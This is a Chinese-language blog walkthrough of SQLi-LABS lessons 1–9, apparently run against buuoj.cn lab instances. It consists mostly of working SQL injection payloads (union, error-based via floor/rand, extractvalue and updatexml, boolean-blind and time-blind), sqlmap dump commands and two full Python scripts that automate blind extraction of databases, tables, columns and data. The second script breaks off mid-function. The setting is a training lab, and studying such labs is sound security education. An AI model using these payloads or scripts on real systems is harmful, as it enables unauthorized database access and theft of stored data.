• SQL注入【SQLi-LABS Page-1(Basic Challenges Less1-Less22)】


    前言

    本篇博客用于记录SQLi实验中第一阶段,即基础的sql注入,包括了GET和POST联合注入、时间盲注、布尔盲注、报错盲注、文件上传注入等并且内含一些笔者写的自动化注入代码~

    sqli-labs githubhttps://github.com/Audi-1/sqli-labs

    大家没思路的时候就可以看看,就相当于白盒测试

    在这里插入图片描述

    UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。所以我们在使用UNION联合查询的时候需要先通过order by 来测试这个SQL的查询列数

    Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。

    • ①猜数据库
      select schema_name from information_schema.schemata
    • ②猜某库的数据表
      select table_name from information_schema.tables where table_schema=’xxxxx’
    • ③猜某表的所有列
      Select column_name from information_schema.columns where table_name=’xxxxx’
    • ④获取某列的内容
      Select xxx from xxx

    常用查询信息:

    • database() # 在用的数据库名
    • user() # 用户信息
    • version() # 数据库版本信息
    • @@basedir # 数据库安装路径
    • @@version_compile_os # 操作系统版本

    SQL注入的流程:

    一般是联合>堆叠>盲注>时间


    Mysql中一些函数:

    sqlmap

    sqlmap常用命令:

    sqlmap -u “注入地址” -v 1-dbs # 列举数据库
    sqlmap -u “注入地址” -v 1-current-db # 当前数据库
    sqlmap -u “注入地址” -v 1-users # 列数据库用户
    sqlmap -u “注入地址” -v 1 -D “数据库” –-tables # 列举数据库的表名
    sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” –-columns # 获取表的列名
    sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” -C “字段” –-dump # 获取表中的数据
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    注意的点

    • B:Boolean-based-blind(布尔型注入)

    • U:Union query-based (联合注入)

    • E:Error-based (报错型注入)

    • S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)

    • T:Time-based blind (基于时间延迟注入)

    • -–batch 默认选项运行

    • --dbs 爆破数据库

    • -–technique 指定sqlmap使用的检测技术

    sqlmap -u "http://localhost/Less-1/?id=1" --dbs --batch --technique B
    
    • 1

    按理说应该所有类型的注入都跑一次

    less-1(基于错误的GET单引号字符型注入)

    在这里插入图片描述
    这里告诉我们让我们传一个一个参数为id的值,于是我传入 1 1 1 ,即:http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=1

    在这里插入图片描述
    于是我们猜测这里存在注入(其实标题就告诉了是单引号注入),于是我们在末尾输入'"我们发现前者会出现error,而后者没有问题

    在这里插入图片描述
    注意的是这里不是双引号而是两个单引号near ''1'' LIMIT 0,1' at line 1 这里多了的这个单引号就是第三个位置,也就是我们输入的单引号,于是我们大概能猜到这个sql语句是通过单引号闭合的,于是我们开始使用上面的注入过程:
    先用二分法通过order by分析出sql语句的列数为3

    http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=1' order by 3%23
    在这里插入图片描述
    在这里插入图片描述
    ①开始爆库:

    http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23

    在这里插入图片描述
    ctftraining,information_schema,mysql,performance_schema,security,test

    我们发现ctftraining最可疑,于是对其进行爆表操作

    ②开始爆表:

    http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

    在这里插入图片描述
    其中我们关心flag于是对其进行爆列

    ③开始爆列:

    http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23

    在这里插入图片描述
    我们发现flag表中只有一列flag,于是我们将这一列的数据爆出来

    ④爆数据:

    http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(flag),3 from ctftraining.flag%23

    在这里插入图片描述
    得到flag{94fb0e75-3801-40c8-9943-5a637e395448}

    less-2(基于错误的GET整型注入)

    在这里插入图片描述
    还是和上面一样的流程,不过这里是整形注入,我们还是在末尾传入一个单引号看看'

    发现抱错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1

    这里只有单引号,没有我们传入的id的值了,于是我们猜测此时的SQL查询语句如下:

    Select * from TABLE where id = 1';
    
    • 1

    于是我们可以知道,这里的id的值在SQL语句中是作为一个整数类型的,即:Select * from TABLE where id = (some integer)

    我们http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=1 and 1=2 会发现没有查询数据,而http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=1 and 1=1发现有数据返回,于是我们得出结论,SQL语句中并没做任何处理,于是我们开始上面的联合查询流程:

    ① 爆库
    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata%23

    在这里插入图片描述

    ②爆表
    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

    在这里插入图片描述

    ③爆列:

    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23
    在这里插入图片描述

    ④爆数据

    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(flag),3 from ctftraining.flag%23

    在这里插入图片描述

    最后得到:flag{b9ea0bc6-7cb1-428f-881b-4a8550cae347}

    less-3(基于错误的GET单引号变形注入)

    同样的,我们首先加一个单引号测试一下

    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=1'

    在这里插入图片描述
    得到一个反馈的信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

    注意这里有一个),于是我们猜测SQL语句可能是:

    Select login_name, select password from table where id= ('our input here')
    
    • 1

    于是我们开始构造注入:?id=1')%23,发现成功注入

    在这里插入图片描述
    于是我们开始SQL注入:

    ①开始爆库:
    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata%23

    ②开始爆表:

    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

    ③爆列:

    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23

    ④爆数据 :

    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(flag),3 from ctftraining.flag%23

    less4(基于错误的GET双引号字符型注入)

    其实标题就很明显了,于是我们在传入参数的末尾加上双引号:http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=1"

    我们会得到一个报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

    这里其实就是和第一个单引号注入类似的报错,只不过这里是双引号,并且这里有),于是我们可以猜测,参数是通过双引号加上)括号包裹的,那么SQL语句可能是:

    $sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
    
    • 1

    于是我们试着注入:
    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=1")%23

    在这里插入图片描述
    发现是能够成功注入的,于是我们重复上面的流程即可:

    ①开始爆库:
    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata%23

    ②开始爆表:

    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

    ③爆列:

    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23

    ④爆数据 :

    http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(flag),3 from ctftraining.flag%23

    在这里插入图片描述

    less5(基于GET单引号双注入-报错盲注)

    这道题可以使用布尔盲注,不过我这里就不展示了,因为布尔盲注有点麻烦,不过可以二分布尔加快注入,当然可以通过脚本或者burpsuit进行注入

    关于报错盲注我这里简单介绍一下:

    众所周知,盲注并不会返回错误信息,使得sql注入的难度提高。而报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果;当然其他类型的数据库也存在相应的问题,在此我们不提。

    报错盲注分类:

    • 基于group by报错注入

    注入公式:?id=1' union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a%23

    eg:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select user()),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    在这里插入图片描述

    • 基于xpath函数报错注入( 5.1.1 5.1.1 5.1.1 及以上,extractvalueupdatexml)

    注入公式①:?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句),0x7e))%23


    注入公式②:`?id=1' and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)%23`

    eg1:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))%23

    在这里插入图片描述
    eg2:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)%23

    • 基于double数值类型超出范围报错注入( 5.5.5 5.5.5 5.5.5 及以上)

    注入公式:?id=1' union select (exp(~(select * FROM(你希望的查询语句)a))),2,3%23

    • 基于bignt溢出报错注入

    注入公式:?id=1' union select (!(select * from (你希望查询的语句)x) - ~0),2,3%23

    • 基于数据重复性报错注入

    注入公式:?id=1'union select 1,2,3 from (select NAME_CONST(查询内容,1),NAME_CONST(查询内容,1))x%23

    eg:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x%23

    在这里插入图片描述

    此处重复了version,所以报错。


    首先还是先输入1看一下

    在这里插入图片描述
    可以看到此时没有像上面出现的回显数据的情况,对应的就是账号登录的情景,我们还是,我们输入1'发现这里存在单引号注入

    在这里插入图片描述
    在这里插入图片描述
    于是我们先通过order by进行列数查询:

    http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' order by 3%23

    查询结果为三列,于是我们开始爆数据流程

    • 爆数据库名:

    先查询数据库的个数,我们通过count统计

    http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(schema_name) from information_schema.schemata),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    在这里插入图片描述

    发现当前数据库有六种,于是我们依次查询

    查询语句:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select schema_name from information_schema.schemata limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    在这里插入图片描述

    我们通过调整limit参数发现有如下六个数据库:

    ctftraining,information_schema,mysql,performance_schema,security,test

    很显然,我们需要将目光放在ctftraining上,这就回到了我们上面的流程中了,只不过这里不能显示多行的查询

    • 爆表名:

    先查询ctftraining数据库中表的数量,方便后续调整Limit参数
    http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema = 'ctftraining'),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    在这里插入图片描述

    发现有三个表,于是我们开始调整参数,爆出表名:

    http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    在这里插入图片描述

    http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 1,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    在这里插入图片描述

    http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 2,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    在这里插入图片描述

    也就是说我们这个数据库中存在:flagnewsusers三张表,很明显我们需要看看flag表中是否存在flag

    • 爆列:

    同样因为只能显示一行信息,我们先查询一下列数:
    http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_name = 'flag' ),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    在这里插入图片描述

    我们可以发现,只有一列,于是就是将这列的名字爆出来了

    http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    在这里插入图片描述

    • 爆数据:

    http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    在这里插入图片描述

    于是我们得到了flag{9f935943-ce36-457a-9af5-68f13a0efc6f}

    less6(基于GET双引号双注入)

    这道题目和上面几乎一样,只不过注入点变成了双引号",于是我简化一下流程:

    在这里插入图片描述

    我们同样使用group by报错注入

    • 爆库

    先看数据库个数:http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(schema_name) from information_schema.schemata),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    然后一一列出:

    http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select (schema_name) from information_schema.schemata limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    发现ctftraining数据库

    在这里插入图片描述

    • 爆表

    同样先看表的数量
    http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema = 'ctftraining'),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    然后一一爆出所有的表名:

    http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select (table_name) from information_schema.tables where table_schema = 'ctftraining' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    发现flag表很可疑

    在这里插入图片描述

    • 爆列

    继续爆这个表的所有元素,同样先看有多少列:

    http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_name = 'flag' ),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    发现只有一列

    在这里插入图片描述

    • 爆数据

    直接爆数据

    http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

    在这里插入图片描述

    less7(基于文件写入注入)

    按理说这个应该是一个文件上传注入,不过不知为何执行文件上传语句后还是没用,于是我就用的sqlmap做了,正确的文件上传做法:https://www.cnblogs.com/Timesi/p/16661422.html

    简单描述一下sqlmap做法:

    • 我们先通过延时注入爆一下库名:
    python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" --dbs --batch -technique T
    
    • 1

    爆出了 6 6 6 个数据库:

    在这里插入图片描述

    • 然后爆ctftraining数据库的表名
    python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" -D "ctftraining" --tables --batch
    
    • 1

    在这里插入图片描述

    • 接着去爆flag表的列名
    python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" -D "ctftraining" -T "flag" --columns --batch
    
    • 1

    在这里插入图片描述

    • 最后就是将数据爆出来了
    python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" -D "ctftraining" -T "flag" -C "flag" --dump --batch
    
    • 1

    在这里插入图片描述

    flag{2184e709-5663-45cf-bf25-80a2640676e7}

    less8(基于GET单引号基于布尔盲注)

    我们测试注入,发现http://93b4694c-4e4c-47e3-b41a-b212d03c4a61.node4.buuoj.cn/Less-8/?id=1' and 1=2%23 不回显,而http://93b4694c-4e4c-47e3-b41a-b212d03c4a61.node4.buuoj.cn/Less-8/?id=1' and 1=1%23有回显,那么显然说明这里有注入,于是简单写一个脚本吧

    import requests
    import time
    import datetime
    import math
    
    """
    
    【这个代码是一个bool类型的盲注】
    
    需要注意的参数:
        1.下面的payload是注入的方式
        2.url是平台的地址
        3.right_text是bool值为真的情况的页面包含的内容,假的话就不会回显
        4.注意一下每一个show_xx_name中的字段名的长度,我上面几个是默认的30,
        但是一般来说数据的部分就会藏有flag这个长度可能会很长,当然也不排除前面
        的一些例如数据库名称或者是表的名称也很长
        5.p1参数是盲注中可能会用到的字段名中的字母,你也可以直接用ascii码的可见长度
        即[33,126],其中48~57为0到9十个阿拉伯数字,65~90为26个大写英文字母,
        97~122号为26个小写英文字母,python有个自带的string.printable
        6.可以加一个延时操作例如sleep
    """
    
    url = "http://90819ab8-d92f-46a2-8dd7-21f222ef30cb.node4.buuoj.cn/Less-8/?id=1"
    p1 = "abcdefghijklmnopqrstuvwxyz0123456789}{-"
    
    
    payload="'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{b},1))<{a}--+ "
    right_text = "You are in"
    
    
    dbnum = 0
    db_list=[]
    table_num = 0
    table_list = []
    column_num = 0
    column_list = []
    data_num = 0
    data_list = [] 
    
    def count_db_num():
        global url
        global dbnum
        payload1 = "' and (select count(schema_name) from information_schema.schemata) = {mid}%23"
        low = 1
        hig = 100
        
        for i in range(low,hig):
            url1 = url + payload1.format(mid = i)
            res = requests.get(url1).text
            if res.find(right_text) != -1:
                dbnum = i
                print("database nums :",dbnum)
                break
    
    def show_db_name():
        global db_list
        global dbnum
        global right_text
        global url
        payload2 = "' and (substr((select schema_name from information_schema.schemata limit {start},1),{begin},1))='{loc_key}'%23"
        
        for i in range(dbnum):
            name = ''
            for j in range(1,30):
                fg = 1
                for it in p1:
                    url2 = url + payload2.format(start = i,begin =j,loc_key = it)
                    res = requests.get(url2).text
                    if res.find(right_text) != -1:
                        name = name + it
                        fg = 0
                        break
                if fg:
                    break
            print("ID: ",i+1,"place dbname: ",name)
            db_list.append(name)
    
    def count_table_num(db_name:str):
        global right_text
        global table_num
        global url
        payload1 = "' and (select count(table_name) from information_schema.tables where table_schema = '{db_name}') = {mid}%23"
        low = 1
        hig = 100
        
        for i in range(low,hig):
            url1 = url + payload1.format(db_name=db_name,mid = i)
            res = requests.get(url1).text
            if res.find(right_text) != -1:
                table_num = i
                print("table nums : ",table_num)
                break
    
    def show_table_name(db_name:str):
        global table_list
        global table_num
        global right_text
        global url
        payload2 = "' and (substr((select table_name from information_schema.tables where table_schema = '{db_name}' limit {start},1),{begin},1))='{loc_key}'%23"
        
        for i in range(table_num):
            name = ''
            for j in range(1,30):
                fg = 1
                for it in p1:
                    url2 = url + payload2.format(db_name=db_name,start = i,begin =j,loc_key = it)
                    res = requests.get(url2).text
                    if res.find(right_text) != -1:
                        name = name + it
                        fg = 0
                        break
                if fg:
                    break
            print("ID: ",i+1,"place table_name: ",name)
            table_list.append(name)
    
    def count_column_num(table_name:str):
        global right_text
        global column_num
        global url
        payload1 = "' and (select count(column_name) from information_schema.columns where table_name = '{table_name}') = {mid}%23"
        low = 1
        hig = 30
        
        for i in range(low,hig):
            url1 = url + payload1.format(table_name=table_name,mid = i)
            res = requests.get(url1).text
            if res.find(right_text) != -1:
                column_num = i
                print("column num : ",column_num)
                break
    
    def show_column_name(table_name:str):
        global column_list
        global column_num
        global right_text
        payload2 = "' and (substr((select column_name from information_schema.columns where table_name = '{table_name}' limit {start},1),{begin},1))='{loc_key}'%23"
        
        for i in range(column_num):
            name = ''
            for j in range(1,30):
                fg = 1
                for it in p1:
                    url2 = url + payload2.format(table_name=table_name,start = i,begin =j,loc_key = it)
                    res = requests.get(url2).text
                    if res.find(right_text) != -1:
                        name = name + it
                        fg = 0
                        break
                if fg:
                    break
            print("ID: ",i+1,"place column_name: ",name)
            column_list.append(name)
    
    
    def count_data_num(db_name:str,table_name:str,column_name:str):
        global right_text
        global data_num
        payload1 = "' and (select count({column_name}) from {db_name}.{table_name} limit 0,1) = {mid}%23"
        low = 1
        hig = 100
        
        for i in range(low,hig):
            url1 = url + payload1.format(column_name=column_name,db_name=db_name,table_name=table_name,mid = i)
            #print("url1 = ",url1)
            res = requests.get(url1).text
            #print(res)
            if res.find(right_text) != -1:
                data_num = i
                print("data num : ",data_num)
                break
        
    def show_data_name(db_name:str,table_name:str,column_name:str):
        global data_list
        global data_num
        global right_text
        payload2 = "' and (substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1))='{loc_key}'%23"
        
        for i in range(data_num):
            name = ''
            for j in range(1,100):
                fg = 1
                for it in p1:
                    url2 = url + payload2.format(column_name=column_name,db_name=db_name,table_name=table_name,start = i,begin =j,loc_key = it)
                    res = requests.get(url2).text
                    if res.find(right_text) != -1:
                        name = name + it
                        fg = 0
                        break
                #print("ID: ",i+1,"place data_name: ",name)
                if fg:
                    break
                
            print("ID: ",i+1,"place data_name: ",name)
            data_list.append(name)
    
    
    
    count_db_num()
    show_db_name()
    
    check_id1 = int(input("请输入ID继续查看哪个数据库?请按照顺序输入,下标从 1 开始: "))
    if check_id1 <= 0 or check_id1 > len(db_list):
        print("input id is error !")
        exit(0)
    count_table_num(db_list[check_id1-1])
    show_table_name(db_list[check_id1-1])
    
    
    check_id2 = int(input("请输入ID继续查看哪个表?请按照顺序输入,下标从 1 开始: "))
    if check_id2 <= 0 or check_id2 > len(table_list):
        print("input id is error !")
        exit(0)
    
    count_column_num(table_list[check_id2-1])
    show_column_name(table_list[check_id2-1])
    
    
    check_id3 = int(input("请输入ID继续查看哪个列? 请按照顺序输入,下标从 1 开始:"))
    if check_id3 <= 0 or check_id3 > len(column_list):
        print("input id is error !")
        exit(0)
    
    count_data_num(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])
    print("喵喵喵?")
    show_data_name(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209
    • 210
    • 211
    • 212
    • 213
    • 214
    • 215
    • 216
    • 217
    • 218
    • 219
    • 220
    • 221
    • 222
    • 223
    • 224
    • 225
    • 226

    在这里插入图片描述

    less9(基于GET单引号基于时间盲注)

    首先还是做一些注入测试,发现并没有什么反馈,于是作弊看一眼源码:

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    
    if($row)
    {
        echo ''; 
      echo 'You are in...........';
      echo "
    "
    ; echo "
    "; } else { echo ''; echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "
    "; echo ''; } } else { echo "Please input the ID as parameter with numeric value";}
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    同时标题也写的很清楚,是一个单引号时间注入的题目,那就写一个时间注入的脚本吧,然后跑一跑(经过漫长的等待就能跑出来了,这里多说一下,注意payload,错了的话贼难受)

    于是我们稍作更改上面的脚本:

    import requests
    import time
    import datetime
    import math
    import string
    
    """
    
    【这个代码是一个时间类型的盲注】
    
    需要注意的参数:
        1.下面的payload是注入的方式
        2.url是平台的地址
        3.注意一下每一个show_xx_name中的字段名的长度,我上面几个是默认的30,
        但是一般来说数据的部分就会藏有flag这个长度可能会很长,当然也不排除前面
        的一些例如数据库名称或者是表的名称也很长
        4.p1参数是盲注中可能会用到的字段名中的字母,你也可以直接用ascii码的可见长度,python有个自带的string.printable
        即[33,126],其中48~57为0到9十个阿拉伯数字,65~90为26个大写英文字母,97~122号为26个小写英文字母
    """
    
    url = "http://8c3cbc57-740e-407d-a78a-2eb6d1d6e7c1.node4.buuoj.cn/Less-9/?id=1"
    p1 = "abcdefghijklmnopqrstuvwxyz0123456789}{-"
    
    
    payload= "'and if((substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1))='{loc_key}',1,sleep(5))%23"
    
    
    dbnum = 0
    db_list=[]
    table_num = 0
    table_list = []
    column_num = 1
    column_list = []
    data_num = 0
    data_list = []
    
    def check_url(url:str):
        try:
            res = requests.get(url,timeout = 3)
            return True
        except Exception as e:
            return False
    
    
    def count_db_num():
        global url
        global dbnum
        payload1 = "'and if((select count(schema_name) from information_schema.schemata)={mid},1,sleep(5))--+"
        low = 1
        hig = 100
        
        for i in range(low,hig):
            url1 = url + payload1.format(mid = i)
            if check_url(url1):
                dbnum = i
                print("database nums :",dbnum)
                break
    
    def show_db_name():
        global db_list
        global dbnum
        global url
        payload2 = "'and if(substr((select schema_name from information_schema.schemata limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"
        
        for i in range(dbnum):
            name = ''
            for j in range(1,30):
                fg = 1
                for it in p1:
                    url2 = url + payload2.format(start = i,begin =j,loc_key = it)
                    if check_url(url2):
                        name = name + it
                        fg = 0
                        break
                print(name)
                if fg:
                    break
            print("ID: ",i+1,"place dbname: ",name)
            db_list.append(name)
    
    def count_table_num(db_name:str):
        global table_num
        global url
